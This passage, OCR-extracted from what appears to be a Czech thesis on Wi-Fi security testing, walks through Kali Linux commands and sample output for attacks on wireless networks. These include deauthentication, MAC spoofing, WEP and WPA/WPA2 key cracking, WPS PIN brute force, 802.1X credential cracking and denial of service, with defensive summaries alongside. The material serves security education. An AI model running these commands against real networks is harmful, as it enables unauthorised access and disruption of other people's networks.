VirtaulBox'* nebo VMWare'®. Vzhledem k tomu, Ze virtualiza¢ni prostfedi ani jednoho
vyrobce neumi sdilet sloty PCI, do kterych je ve vétsiné piipadd pfipojena bezdratova
karta v noteboocich, je nutné vyuzit externi adaptér USB, ktery je mozné nasdilet do
virtudlniho stroje. Po zvoleni virtualizace hardwaru USB program VirtualBox nebo
VMWare pieinstaluje aktudlni ovladade hardwaru na uréity typ roury'®, ktery pieposild
informace z virtudlniho prostfedi do fyzického hardwaru.

Fyzicky pocitac Prostedky

Bezdratova karta

>

Operacni systém hostitele

Virtudlni pocitac

0S Linux KALI P

Obr. 6:  Schéma virtudlniho prostredi

Vyhoda vyuZivani virtudlniho prostfedi je v jednoduchosti a bezpecnosti. Spousténi
neznamého obrazu ISO na pocitaci, ve kterém se nachdzi dilezita data muaZe byt pro
fadu spravct prekazkou z duvodu bezpecénosti dat.

13 VirtualPC — Virtualizaéni ndstroj z rodiny Microsoft. V nov&jsich verzich systému Windows je
k dispozici nova technologie HyperV.

4 VirtualBox je multiplatformni virtualizadni néstroj puvodné vyvijen némeckou spole¢nosti
Innotek GmbH, kterou koupila spole¢nost Sun Microsystem(2008), kterou koupila pozd¢ji spole¢nost
Oracle(2009).

15 VMware je rodina virtualizaénich ndstrojii spole¢nosti Vmware, Inc. Jako ¢&lenové rodiny
VMware jsou korporatni VMware Workstation, VMware Server ¢i VMware Infrastructure, pro doméci
pouZiti ale existuje bezplatnd verze tohoto produktu zvand VMware Player, ktery pro tcely této prace
bohat¢ sta¢i. Zkratka VM znamenad virtudlni stroj (Virtual Machine).

16 Roura v tomto pifpadé umoZiiuje vytvofeni virtudlniho spojeni mezi virtudlnim poéitatem a
fyzickym hardwarem.
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Vzhledem k tomu, Ze proces ttoku trvéd vétSinou v fddu hodin a po dobu sbirdni dat
¢i zpracovavani vysledkt uZivatel nemusi nic dé€lat, maze uto¢nik diky virtudlnimu
prostiedi provadét v hostitelském pocitaci jiné svoje ukony, Ci procitat pravé tuto préci
v elektronické podobg.

Dalsi vyhoda nainstalovani virtudlniho prostiedi je dprava operacniho systému pro
vlastni pouziti. Pokud je potfeba vyzkouSet zabezpeeni vice siti, je moZné provést
jednu instalaci virtudlniho pocitae, upravit si prosttedi podle sebe, popf. napsat skripty
pro testovéni a tento virtudlni pocita¢ prenést ¢i zkopirovat na jiny fyzicky stroj.
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3 UTOK

3.1 Priprava ttoku

Jako prvni krok pfi vyuzivani OS KALI je dobré spustit grafické prostredi xwindow,
které umoZzni zobrazeni vice termindlovych oken na jedné ploSe. Bez prostiedi xwindow
je také mozné se obejit pfes termindlova okna TTY, avSak poté je moZné zobrazit pouze
jedno okno zardz v konzolovém reZimu zobrazeni.

Prostredi xwindow se spousti piikazem:
root@kali:~#startx
Prostfedi xwindow vice pfipomina spiSe prostfedi operacnich systémid Windows,

nebude tedy problém se v tomto prostiedi zorientovat ani pro novicka v prostredi
Linux.

Predtim, neZ zaCneme provadét simulaci udto¢nikova napadeni, musime provést
kontrolu svého prostfedi a hardwaru. Kazd4 sitova karta se chova jinak a musi se k ni
jinak pfistupovat [6]. Nejprve provedeme vypis sitovych karet piikazem ifconfig nebo
iwconfig:

root@kali:~# iwconfig

wlan0 TIEEE 802.l1lbgn ESSID:off/any

Mode: Managed Access Point: not—-Associated Tx—-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key: off

Power Management: off

Z nésledujiciho pfikladu vidime, Ze naSe bezdratova karta je v pocitaci viditelna,
ma pridéleno hardwarové ID wlan0. Nyni vyzkouSime, zda karta spolupracuje
s programem airodump-ng:

root@kali:~# airodump-ng wlanO
ioctl (SIOCSIWMODE) failed: Device or resource busy

Pokud vypis programu vypadd ndsledovné, karta neumoZiuje piimy piistup

k monitorovanym datim. Je potieba vytvorit virtudlni rozhrani, pfes které budou

programy balicku aircrack-ng pfistupovat k sitové karté. To provedeme vyuZitim
programu airmon-ng:

root@kali:~# airmon—-ng start wlanO
Interface Chipset Driver

WlanO Atheros AR9271 ath9%k - [phy0]
(monitor mode enabled on monO0)

V tomto piipadé€ musime pro dspé€sné provedeni vSech piikaz vyuZivat virtualniho
adaptéru mon0O misto wlan0.
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Pokud mdme v systému nainstalovdn néktery spravce zafizeni nebo spravce site,
zobrazi se nad témito informacemi. Je dobré tyto procesy vypnout piikazem kill, aby
nezpusobovaly napfiklad vypnuti sitové karty pii odposlouchavani atp.

3.2 Skryté SSID

V ptipadé situace, kdy sit’ nepouZziva Sifrovani a pouze spoléha na skryti ESSID jména,
je situace velice jednoduchd. PouZijeme piikaz:

root@kali:~# airodump-ng wlanl

ktery vypise tabulku dostupnych Wi-Fi siti, vystup miZe vypadat nasledovné:

CH 9 ][ BAT: 3 hours 9 mins ][ Elapsed: 5 s
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -42 17 0 0 6 54e WPA2 CCMP PSK <length: 5>

BSSID STATION PWR Rate Lost Packets Probes

00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -57 0 -1 0 1

Zde je vidét, Ze zadana Wi-Fi sit ma ndzev o délce 5 znaki. Tato metoda je pouze
uspeéSnd, pokud je k AP pfipojen alespoil jeden klient. Nyni zapneme naslouchdni
ramctim pouze k této siti piikazem:

airodump-ng -c 6 —-bssid 00:11:22:33:44:55 wlanl

kde ptepina¢ —c znaci Cislo kandlu, a —bssid zna¢i MAC adresu AP. Vzhledem k tomu,
Ze pti vyhledavani sité jsme nasli pouze jednu sit, aktudlni vystup programu bude
vypadat stejn€. Nyni toto termindlové okno nechdme oteviené, spustime druhé a
vepiSeme piikaz:

aireplay-ng -0 30 -a 00:11:22:33:44:55 —c A0:B1:C2:D3:E4:F5

kde prepinac -0 znaci mdd deautentifikace, -a MAC cilového AP a —c MAC cilového
klienta. Program airplay-ng deautentizuje pfipojeného klienta, ktery bude nucen se
pfipojit znovu k tomuto bezdratovému bodu. Pfi pfipojovani musi klient odeslat nazev
sité¢, ktery se jiz ve druhém okné airodump-ng zobrazi néasledovne:

CH 9 ][ BAT: 3 hours 9 mins ][ Elapsed: 32 s

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -42 17 0 0 6 54e WPA2 CCMP PSK wvutbr
BSSID STATION PWR Rate Lost Packets Probes

00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -57 0 -1 0 1
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3.3 MAC Filtr

Vv s

Nyni je situace jesté jednodussi, nez v piipadé skryté SSID. Opét si zobrazime okolni
Wi-Fi sité prikazem:

root@kali:~# airodump-ng wlanl
vysledek bude vypadat ndsledovng:

CH 9 ][ BAT: 3 hours 9 mins ][ Elapsed: 8 s
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 —-42 17 0 0 6 54e WPA2 CCMP PSK vutbr

BSSID STATION PWR Rate Lost Packets Probes

00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -57 0 - 101

JiZ z tohoto jednoduchého piikazu jsme zjistili vSechny potifebné informace. Ve spodni
Casti tabulky je jasn€ vidét, Ze aktudln€ je pfipojeny klient s MAC adresou
A0:B1:C2:D3:E4:F5. Staci tedy vyckat, aZ se tento dcastnik odpoji a vykonat piikaz:

root@kali:~# macchanger ——mac=A0:B1:C2:D3:E4:F5 wlanO

timto pifikazem jsme zajistili podvrhnuti MAC adresy pfipojeného klienta naSi
bezdratové karté a nyni jiZ nebude problém se k AP pfipojit.

3.4 WEP

Z hlediska bezpecnosti je Sifrovini WEP jednim =z nejrychleji prolomitelnych
zabezpeceni. Bezdréitové sité si zobrazime piikazem:

root@kali:~# airodump-ng wlanl

Pokud chceme zobrazit pouze sité se Sifrovanim WEP, pouZijeme piepinac --encrypt:
root@kali:~# airodump-ng —-encrypt WEP wlanl

vysledek bude vypadat takto:

CH 14 ][ Elapsed: 3 min
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -42 17 0 0 6 54e WEP WEP vutbr

BSSID STATION PWR Rate Lost Packets Probes

00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -57 0 -1 0 1

Nynfi je potieba zapnout zachytavani paketi. To provedeme nasledujicim prikazem:
airodump-ng -c 6 -bssid 00:11:22:33:44:55 -w log wlanO

Prvni parametr programu airodump-ng —c znaci Cislo kanélu, druhy argument —bssid
zna¢i MAC adresu bezdrdtového bodu, parametr —w znaci ndzev souboru, do kterého se
bude zachytdvany provoz uklddat a posledni parametr je rozhranni, v naSem ptipadé
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monitor — mon0.

Nechdme program dé€lat svoji praci a otevieme nové okno termindlu. Nyni mdme dvé
moznosti, jak pokraCovat. Mazeme pockat, neZz airodump-ng zachyti potfebny pocet
paketd, v naSem piipadé cca 15-30 tisic, coZz muZe také na siti s malym provozem trvat
nékolik dni, nebo mizeme pouzit néktery z nastroju, ktery dokdze generovat provoz na
siti. Pro pfiklad si uvedeme ndstroj aireplay-ng. VyzkouSime, zda-li funguje metoda
generovani paketl packet injection!”:

root@kali:~# aireplay-ng -9 wlanO

Pokud se zobrazi népis Injection is working!, muzeme pokraCovat. Nyni je potieba se
k AP prihlasit, aby AP naSe injektované pakety neignorovalo. To provedeme
ndsledujicim pfikazem:

root@kali:~# aireplay-ng -1 6000 -o 1 -g 10 —-e vutbr -a
00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff wlan0

¢islo 6000 udav4 interval pokusu o autentizaci na AP.
-0 1 zajisti zasilani pouze jedné skupiny pakett pro autentifikaci a autorizaci.

-q 10 prepinac znaci interval zasilani keep alive paketq.

Jakmile airodump-ng nasbird dostateCny pocet paketd, stiskem CTRL+C provedeme
ukonceni logovani. Pfichazi na fadu analyza peketu:

root@kali:~# aircrack-ng -z -b 00:11:22:33:44:55 log.cap
Pokud je v souboru log.cap dostateCny pocet pakett, program aircrack-ng vypise kli¢ a

akce je u konce. MuzZe se vSak stat, Ze program kli¢ nenalezne, v tom piipadé vypise
pocet paketu, kterych je potieba k tspé€sné analyze.

3.4.1 Shrnuti

ZabezpeCeni WEP, at’ se jednd o kteroukoli délku klice, je kvili svym nedostate¢nym
kontrolnim mechanizmiim nevyhovujici zejména pro rychlost jejtho prolomeni.
V ptipadé dostatecného signdlu a velkého provozu na siti dovede zru¢ny dtocnik sit
dobyt za jednotky minut. Z hlediska bezpecnosti je tedy pouZiti Sifroviani WEP velkym
bezpecnostnim problémem.

3.5 WPA

Zpusob testovani zranitelnosti WPA je od WEP znac¢né odlisny. V piipadé WEP bylo
potieba nasbirat potfebny pocet pakett a aircrack-ng zajistil jejich analyzu. V piipade
WPA je situace jind. Utok na WPA spocitd v zachyceni Ctyrcestného hand-shaku.

Nejprve zjistime okoln{ sité:

17 Packet injection — vyraz vyjadiujici infiltrovan{ konstruktivnich paketi, které se zdaji byt soucdsti
komunika¢niho toku. Tento proces umoZziluje tfeti strané¢ narusit nebo pierusit paketovou komunikaci
pravé komunikujicich tcastnikl. Tato metoda se fadi mezi DoS ttoky (Denial of Service)
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root@kali:~# airodump-ng wlanl

Pokud chceme zobrazit pouze sité se Sifrovanim WEP, pouZijeme piepinac encrypt:
root@kali:~# airodump-ng —-encrypt WPA wlanl

Vysledek bude vypadat nasledovné:

CH 9 ][ Elapsed: 7 min
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -42 17 0 0 6 54e WPA CCMP TKIP vutbr

BSSID STATION PWR Rate Lost Packets Probes

00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -57 0 -1 0 1

Zapneme zachytavani pakett pro dané AP:

root@kali:~# airodump-ng -c 6 -bssid 00:11:22:33:44:55 —w
log wlanO

Deautorizujeme klienta:

root@kali:~# aireplay-ng -0 5 -a 00:11:22:33:44:55 -c
A0:B1:C2:D3:E4:F5 wlan0

Pokud vSe dopadlo podle pfedpokladu, uvidime deautorizovaného klienta v pravém
hornim rohu termindlového okna se spuSténou aplikaci airodump-ng. Zachytdvani
paket ukonc¢ime.

Vzhledem k tomu, Ze zpétné zjistovani klice ze Ctyfcestného hadshaku je velmi
vypocetné¢ ndrocné, metoda typu brute-force, alespoii pokud nedisponujeme
pocitaCovym cloudem nebo farmou, nepfichdzi do dvahy. PouZijeme tedy slovnikovy
utok. Vyhoda slovnikového ttoku je jeji rychlost. Nevyhoda slovniku je maly obsah
slov. Na internetu se nachazi mnoho slovniki pro slovnikovy utok na hesla. Tyto
slovniky ale obsahuji jen ty nejCast&jsi hesla, kterd si lidé voli [7]. UspeSnost takového
utoku je tim padem velice individudlni.

Provedeme analyzu provozu s hand-shake pakety:
root@kali:~# aircrack-ng —-a 2 -w slovnik.txt log.cap

Pokud vyuzivame linuxovou distribuci KALI, miZeme vyuZzit vychozi slovnik, ktery se
nachdzi: /pentest/passwords/wordlists/darkcOde

Piikaz by poté vypadal nasledovné:

root@kali:~# aircrack-ng -a 2 -w /pentest/passwords/
wordlists/darkcOde log.cap

Pokud se heslo Wi-Fi sit€¢ nachdzi ve slovniku, aircrack-ng jej vypiSe. V opacném
piipadé program doporuci pouZiti jiného slovniku.

3.5.1 Shrnuti

Simulaci jsme si ovéfili, Ze pokofeni Sifrovani typu WPA neni jiZ tak lehké, jako
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v piipadée WEP. V piipadé WPA velmi zdlezi na pouZziti sdileného klice. V pfipade
pouZziti ne€kterych zndmych kombinaci je utok taktéZ jednoduchy. V ptipadé pouziti
ndhodné generovaného hesla o délce alespon 17 ASCI znakl se muze sit’ povaZovat za
bezpecnou.

3.6 WPA2

V piipadé testovani zabezpecCeni WPA?2 je postup stejny, jako v piipadé WPA. Rozdil
v téchto metodéch je pouze rychlost zpracovani.

V piipadé WPA?2 je rychlost analyzy provozu niZsi, nez v piipadé¢ WPA.

3.7 WPS

Diky technologii WPS je moZné prolomit i velmi silné heslo Sifrovani WPA2-PSK nebo
WPA2-AES.

Jako prvni si spustime virtudlni monitor rozhrani, které bude naslouchat na wlan0.
root@kali:~# airmon—-ng start wlanO

Po tomto kroku si zobrazime seznam dostupnych siti pro utok:
root@kali:~# airodump-ng monO

Vystup mize vypadat nasledovné:

CH 11 ][ Elapsed: 1 min
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -45 11 0 O 6 54e WPA CCMP TKIP vutbr

BSSID STATION PWR Rate Lost Packets Probes

00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -51 0 -1 0 1

Program airodump-ng vypsal seznam dostupnych siti. Z tohoto seznamu jsou duleZzité
dva ddaje: MAC adresa a ndzev bezdratového bodu — ESSID. Jakmile se v seznamu siti
zorientujeme a nalezneme sit, na kterou chceme provést ttok, mizeme spustit program
reaver:

root@kali:~# reaver -i monO -b 00:11:22:33:44:55 —-vv

Prvni parametr fekne programu reaver, Ze ma pouZivat rozhrani mon0O, druhy parametr
zadd MAC adresu bezdriatového bodu, kam se md dtok provadét. Posledni parametr
fekne programu reaver, Ze mé vypisovat vSechny tkony, které provadi.

Pokud program reaver vibec nespusti nebo vypiSe chybovou hlasku:

[!] WARNING: Failed to associate with 00:11:22:33:44:55
(ESSID: vutbr)

Je nutné spustit programu reaver s asociaci k bezdratovému bodu. Spustime druhy
termindl (za predpokladu, Ze nevyuZijeme xwindow nové konzolové okno TTY) a
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spustime aireplay-ng na bezdritovou sit’:

root@kali:~# aireplay—ng mon0 -1 120 -a
00:11:22:33:44:55 —-e vutbr

Jakmile mdme spuSténou asociaci, spustime znovu program reaver:
root@kali:~# reaver —-i mon0O -A -b 00:11:22:33:44:55 -vv

Dulezity krok je nezapomenout vepsat parametr —A, ktery fikd, Ze je vyuZit ndstroj
aireplay.

Pokud se ihned po startu zobrazi hlaska:
['] Associated with 00:11:22:33:44:55 (ESSID: wvutbr)
znamena to, Ze s nejveétsi pravdépodobnosti na routeru neni aktivni technologie WPS.

Pokud si nejsme jisti, zda-li je na AP technologie WPS zapnuta, miZeme pouzit
program wash, ktery umi detekovat pfitomnost technologie WPS na bezdrdtovém bodu:

root@kali:~# wash — monO -C

V piipadé, Ze je WPS aktivni, program wash vypiSe verzi WPS ddaj WPS Locked, ktery
musi nabyvat hodnoty ,,No* pro aktivni WPS.

3.7.1 Shrnuti

Demonstraci jsme dokdzali prolomit piistup do sité pomoci brute-force ttoku na WPS
PIN, ktery je vzdy dlouhy 8 ¢&isel, znamend to konecny pocet kombinaci, které je
potfeba vyzkouSet. Pokud spridvce sit€¢ nechd technologii WPS aktivni, s trochou
nadsazky lze fici, Ze je jedno, jak silné heslo mad nastaveno.

Diky chybé WPS, kdy bezdritovy bod oznamuje, kterd c¢ast PIN kédu je spravné,
piipadny ttok i za pfedpokladu, Ze zkouSka jednoho kédu bude trvat v jednotkdch
sekund, bude dspésny ttok proveden v faddu desitek hodin. Druhd €ast kédu jiz obsahuje
pouze tfi Cislice a kontrolni soucet, druhd ¢ast kédu jiz nebude trvat tak dlouho.

Pti opakovaném utoku je potieba si uvédomit, Ze zmena hesla k siti WiFi nevyresi
problém s WPS, pokud spravce nezmeéni kéd PIN, utocnikovi staci vyuZit jiZ prolomeny
koéd PIN a AP zasle dtocnikovi vSechny ddaje pro pfipojeni.

Dnesni routery a AP se snaZi na tento systém aplikovat celou fadu bezpecnostnich
intervalu mezi pokusy opozdénim odpovédi o nezdareném pokusu ¢i doCasné vypnuti
WPS po urcitém poctu pokusu ¢i ignorace ttocnikovy MAC.

Vsechny tyto metody ale jiZ maji své feSeni a jiZ jsou implementovédny v aplikaci
reaver. Metoda ignorace adresy MAC zmeéni klientovu MAC pro kazdy pokus, opoZdéni
odpoveédi program reaver vyfesi doCasnym pozastavenim pozadavkd a vypnuti WPS
zpusobi pouze pozastaveni pribéhu penetracniho testu.

Vzhledem k témto demonstracim a skuteCnostem ohledné délky WPS klice spolu
s rozdelenim klice na dvé malé skupiny, zbyva jiz malé mnoZsti kombinaci (11 000),
které i metodou brute-force s aplikovanymi vSemi bezpeCnostnimi mechanismy je
mozné prolomit maximalné v fadu dnd.
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3.8 802.11X

Jako prvni krok, zobrazime se seznam dostupnych siti
root@kali:~# airodump-ng wlanl

Vystup mize vypadat nasledovné:

CH 1 ][ Elapsed: 24 s

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 —-45 11 0 0 6 54e WPA2 CCMP MGT wvutbr

BSSID STATION PWR Rate Lost Packets Probes

00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -51 0 -1 0 1

Z vystupu programu airodump-ng je vidét, Ze sledovand sit’ je zabezpeCeni WPA2 a
vyuziva podnikového ovétfovani RADIUS (pole MGT).

Jako dalsi krok spustime zachytavani paketti z monitorovaciho zafizeni mon0:

root@kali:~# airodump-ng —-bssid 00:11:22:33:44:55 -c 6 —w
soubor monO

Parametr --bssid uddvd MAC adresu bezdritového bodu, parametr —c uddvd cislo
kandlu, parametr —w ndzev souboru pro ukldddni provozu a posledni parametr je
rozhrani.

V dal$im kroku je potfeba deautorizovat piipojeného klienta. K tomuto dcelu budeme
potiebovat MAC adresu pripojeného klienta. Adresu MAC zjistime z vypisu programu
airodump-ng v druhé Céasti okna. Pro naSe ucely bude slouZit adresa klienta
A0:B1:C1:D3:E4:F5.

root@kali:~# aireplay-ng -0 5 -a 00:11:22:33:44:55 -c
A0:B1:C2:D3:E4:F5 mon0

Parametr -0 znamend deautorizacni méd, ¢islo za parametrem 0 znamena pocet pokusu,
parametr —a zavadi MAC adresu bezdratového bodu, parametr —c zavddi MAC adresu
klienta a posledni parametr znaci rozhrani. Vystup programu bude vypadat nasledovné:

22:12:57 Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on
channel 6

22:12:57 Sending 64 directed DeAuth. STMAC: [0A:B1:C2:D3:E4:F5] [
61|63 ACKs]

22:12:58 Sending 64 directed DeAuth. STMAC: [0A:B1:C2:D3:E4:F5] [
61|63 ACKs]

22:12:59 Sending 64 directed DeAuth. STMAC: [0A:B1:C2:D3:E4:F5] [
61|63 ACKs]

22:13:00 Sending 64 directed DeAuth. STMAC: [0A:B1:C2:D3:E4:F5] [
61|63 ACKs]

22:13:01 Sending 64 directed DeAuth. STMAC: [0A:B1:C2:D3:E4:F5] [
61|63 ACKs]

23



V tomto kroku mame deautorizovaného klienta.

Vzhledem ke sloZitosti Sifrovani WPA ¢i WPA2 by ptipadny brute-force dtok zabral az
piili§ mnoho cCasu, vyuZijeme tedy slovnikovy tdtok. Vyhoda slovnikového utoku je
rychlost zpracovani a Casto pouZivand hesla. Je potieba si ale uvédomit, Ze nejcastéjsi
slovniky se zamétuji spiSe na anglicky mluvici krajiny. V nasem piipad¢€ by slovnikovy
utok s nejvétsi pravdépodobnosti nefungoval vzhledem k jazykové obtiZznosti, pro

Yev s

demonstraci ale pouZijeme anglicky slovnik nejc¢astéjSich hesel nazyvany rockyou.

Slovnik je dostupny voln€ na internetu nebo piimo v distribuci Linux KALI. Slovnik
nalezneme v umisténi /sr/share/wordlist:

root@kali:/usr/share/wordlists# 1s
rockyou.txt.gz
Slovnik vyextrahujeme:
root@kali:/usr/share/wordlists# gunzip rockyou.txt.gz

root@kali:/usr/share/wordlists# 1ls

rockyou. txt
Pokud nyni chceme védét, kolik slov se ve slovniku nachazi, miiZeme pouZit program
wc (word count) ke spocitani:

root@kali:/usr/share/wordlists# wc -1 rockyou.txt
14344392 rockyou.txt

Z vypisu je vidét ze slovnik rockyou.txt obsahuje pfiblizné 14,3 miliént nejcast&jsich
hesel.

Dalsi postup je zavisly na metod¢ zasilani hesel mezi klientem a RADIUS serverem.

3.8.1 MSCHAPv2

K rozlusténi LEAP a PPTP hesel vyuZijeme program asleap s ndsledujicimi parametry:

root@kali:~#asleap -W /usr/share/wordlists/rockyou.txt -
r soubor.cap

Prvni  parametr zna¢i  pouZziti slovniku, ktery se nachazi v
/usr/share/wordlist/rockyou.txt, parametr —r znai cestu k souboru se zachycenou
autentizaci uZivatele.

Pro vice komplexni deifrovani je mozné pouZit program JTR!® k vytvoieni permutaci a
vytvofeni del$iho slovniku.

root@kali:/usr/sbin/john —-rules -
w=/usr/share/wordlists/rockyou.txt —-stdout

Permutace vloZime do programu asleap:

root@kali: /usr/sbin/john —--rules -w=/usr/share/wordlists/
rockyou.txt —--stdout | asleap -W - —-r soubor.cap

18 JTR — John The Ripper
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3.8.2 EAP-MDS5

Pro utok na Sifrovani EAP-MDS5 vyuZijeme program eapmdSpass s ndsledujicimi
parametry:

root@kali:~# eapmdbpass -w /usr/share/wordlists/rockyou.txt -
r soubor.cap

Parametr —w znaci vyuZiti slovniku z cesty /usr/share/wordlist/rockyou.txt, parametr —r
soubor se zachycenou autentizaci.

V obou piipadech (MSCHAPv2 a EAP-MDS) je moZzné vyuzit vice komplexni feSeni
pro nalezeni autentizacnich tdaji vyuZivajici aplikace JTR (John The Ripper), ktera
provede permutace a vytvoii Sir§i slovnik.

Vytvotreni permutaci pomoci programu JTR:

root@kali:/usr/sbin/john —--rules -w=/usr/share/wordlists/
rockyou.txt —-stdout

Predani permutaci do programu asleap:

root@kali:/usr/sbin/john —-rules -w=/usr/share/wordlists/
rockyou.txt —--stdout | asleap -W - —-r soubor.cap

3.8.3 Shrnuti

Uspé&snost ziskani hesla k sitim 802.11X je zavisld na vyuZitém Sifrovacim algoritmu i
slozitosti ptihlagovacich tdaji. V pifpadé vyuZiti ovéfovani proti Active Directory'®,
kterd umozinuje nastaveni sloZitosti hesla, je mozné bezpecnosti politiku nastavovat
centrdln€. Bezpecné nastaveni by vypadalo nasledovné:

1) Délka hesla: minimalné 8 znaku
2) Alespon jedno velké a malé pismeno
3) Alesponi jedna Cislice

4) Pro absolutni bezpeCnost alespoii jeden specidlni znak (.,!7#/+-)

19 Active directory (zkrdcené AD) je kompletni systém zajistujici politiku v prostfedi rodiny
Microsoft Windows. UmoZiuje nastavovat prava uZivateli, skupin, DNS, DHCP, atd. UmoZiiuje také
autentizovat uzivatele z WiFi siti 802.11X.
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4 DALSI MOZNOSTI UTOKU

4.1 Napadeni zevnitr sité

V piipadé komplexni ochrany sit€ je potfeba krome zabezpeCeni utoku zvenci
zabezpecCit také sit pred utoky zevnitf, typicky v pfipadé pripojeni uto¢nika do sité
pomoci metalického kabelu.

4.1.1 Vychozi nastaveni

V piipadé€ sitovych prvka je to prvorfadé vychozi nastaveni. Pokud se nezvanému
navstévnikovi podaii néjakym zplsobem vniknout do sité (napiiklad pfipojenim na
zasuvku), v tu chvili m4 dto¢nik k dispozici stejné prostiedi, jako md spravce sité. Na
tuto situaci je nutné pomyslet a konstrukce sit€ musi byt takto navrZzena. NejCast&jSim
problémem je naslouchdni konfiguracni strdanky AP na vychozich hodnotich
s vychozimi ptihlaSovacimi tdaji.

Prvotady tkol spridvce by mél byt zmeénit vychozi ptfihlaSovaci ddaje. Spravce
nesmi odradit skute¢nost, Ze dany AP md napiiklad trochu jiné jméno nebo heslo
(airlive, myrouterpassword,...) neZ bézné AP (nejCastéj$i heslo do administrace AP
byva ,,admin®) a tudiZ jej neni potfeba ménit. Opak je pravdou. ZkuSeny tuto¢nik vi, Ze
pomoci MAC (OUI?), 1ze zjistit vyrobce a pomoci nékolika daliich inicidld nékdy i
model zafizeni. V pifipad€ pfipojeni k internetu je otdzka sekund nalezeni vychozich
ptihlasovacich udaju [7].

Dalsi pomérné vyrazny bezpecnostni prvek je vychozi port pro naslouchdni
webového rozhrani. Vychozi hodnota je vesmes pravidlem nastavena na 80, nebo 443
(HTTPS). Mimo to, Ze toto nastaveni utoCnikovi urychluje préci, je zde dalsi aspekt, a
to prihlaSovaci okno do AP, které vétSinou vyzradi i dany model. Diky tomu lze na
internetu nalézt vychozi ptihlaSovaci heslo, nebo né€kterou zndmou bezpecnostni trhlinu,
kterou piipadny tto¢nik muize vyuZit. Znama je napiiklad chyba AP od spole¢nosti TP-
LINK, kterd umoZiiovala bez pfihldSeni provést reset zafizeni nebo ptimo zménit heslo
bez nutnosti se pifihlasovat. Tato technika byla provedena pomoci modifikace HTTP
GET pozadavku.

V piipad€ napadeni ptes metalicky kabel nejsou piistupové body AP v dané podsiti,
tudiz utocnik k nim nema pfistup. VétSinou konfiguracni rozhrani byvd dostupné pres
VLAN 1 nebo netagovany? 802.11q provoz [4]. Vysilanid sit méi &islo VLAN
nastaveno jiné.

Predpokladat je nutné i pfipojeni dtocnika do sit€é pomoci kabelu, v tomto piipade

20 OUI (Organization Unit Identifier) — je organizace piifazujici prvni 3 byty MAC adresy
vyrobcim hardwaru.

2l 802.11q tag - je technika oznaCovani paketi v siti, diky ¢emu je moZné provozovat vice
virtudlnich siti v jedné fyzické siti.
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lze vyuZzit moznosti chytrych switcht, které umoziuji autentizaci uZivatele pred
vlastnim pfipojenim do sité¢ na pfedem nastavené strance. VétSinou se tyto informace
oveéfuji proti RADIUS ¢i AD serveru. Proces autentizace probihd v oddélené siti.
Jakmile dojde k autentizaci, switch klienta fyzicky odpoji od ovéfovaci sité a pripoji jej
do chranéné sité.

4.1.2 Fyzicka manipulace se zaiizenim

Nejjednodussi a velmi Casty jev je zcizeni zafizeni, modifikace nastaveni a vriceni
zafizeni na pavodni misto. Diky tomu, Ze vSechny dostupné AP disponuji tlacitkem
RESTORE, je v tomto piipad€ piistup do sit€¢ velmi jednoduchy. V ptipad¢ tlacitka
WPS je pftistup do sité jesté jednodussi. Jako nejlep$i prevence je vypnutni vSech WPS
funkci (jak tlacitka, tak funkce PINu).

Jako bezpecnostni feSeni je doporuCeno ukryt zafizeni do takovych mist, kam b&Zny
uzivatel pfistup nemd (pod faleSny strop, do rozvodové skiin€ zabezpeené klicem, do
oddélené mistnosti, atp.) [1].

4.2 Generovani deautorizacnich zprav

Metoda generovani deautorizacnich pozadavku funguje na principu neustdlého zasilan{
deautorizacnich paketii na AP ve snaze docilit znefunkénéni napadeného AP. Neustalé
deautorizovani klientt zpuisobi nedostupnost AP pro jednoho, nebo vice klientd.

Zobrazime si bezdritové site:
root@kali:~# airodump-ng wlanl
vysledek bude vypadat takto:

CH 14 ][ Elapsed: 1 min
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -42 17 0 0 6 54e WEP WEP vutbr

BSSID STATION PWR Rate Lost Packets Probes

00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -57 0 -1 0 1

Vyzkousime, zda-li funguje metoda generovani paketu packet injection:

root@kali:~# aireplay-ng -9 wlanO

V piipad€ zobrazeni Injection is working! mizeme pokracovat. Prihlasime se k AP a
zahltime AP mnoZstvim paketd k autorizaci:

root@kali:~# aireplay-ng -1 6000 -o 1 -g 10 —-e vutbr -a
00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff wlan0

Obr%na neni jednoduchd, vétSina domdcich AP této technice podlehne velmi
snadno. Rada profesionélnich pfistupovych bodu jiz ale disponuje mechanismy proti
témto technikdm.
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4.3 DoS

Technika DoS (Denial of Services) spiSe znama z oblasti webovych serverd je velmi
zndmd 1 vtomto odvétvi. Principem je zahltit AP takovymi vypocetn€ ndrocnymi
pozadavky, aby doSlo ke zpomaleni nebo pifimo odstaveni AP. Rovné€Z obrana zivisi
pouze na vybavé daného AP [7].

Utok je mozné provést dvéma zplisoby:
1) Utok na klienta sité
2) Utok na webové (&i jiné sluzby) Access Pointu

V piipadé€ utoku na klienta sit€ je mozné vyuZit postup pro generovdni deautorizacnich
Zprav.

Utok na sluzby Access Pointu zdvisi na konkrétnim vyrobci a modelu. Kazdy Access
Point je ndchylny na jinou sluzbu.

V piipadé ttoku na webové rozhrani Access Pointu je mozné vyuzit ndastroji
v distribuci Linux KALIL Pro tyto dcely je zde k dispozici program hping3 [5]:

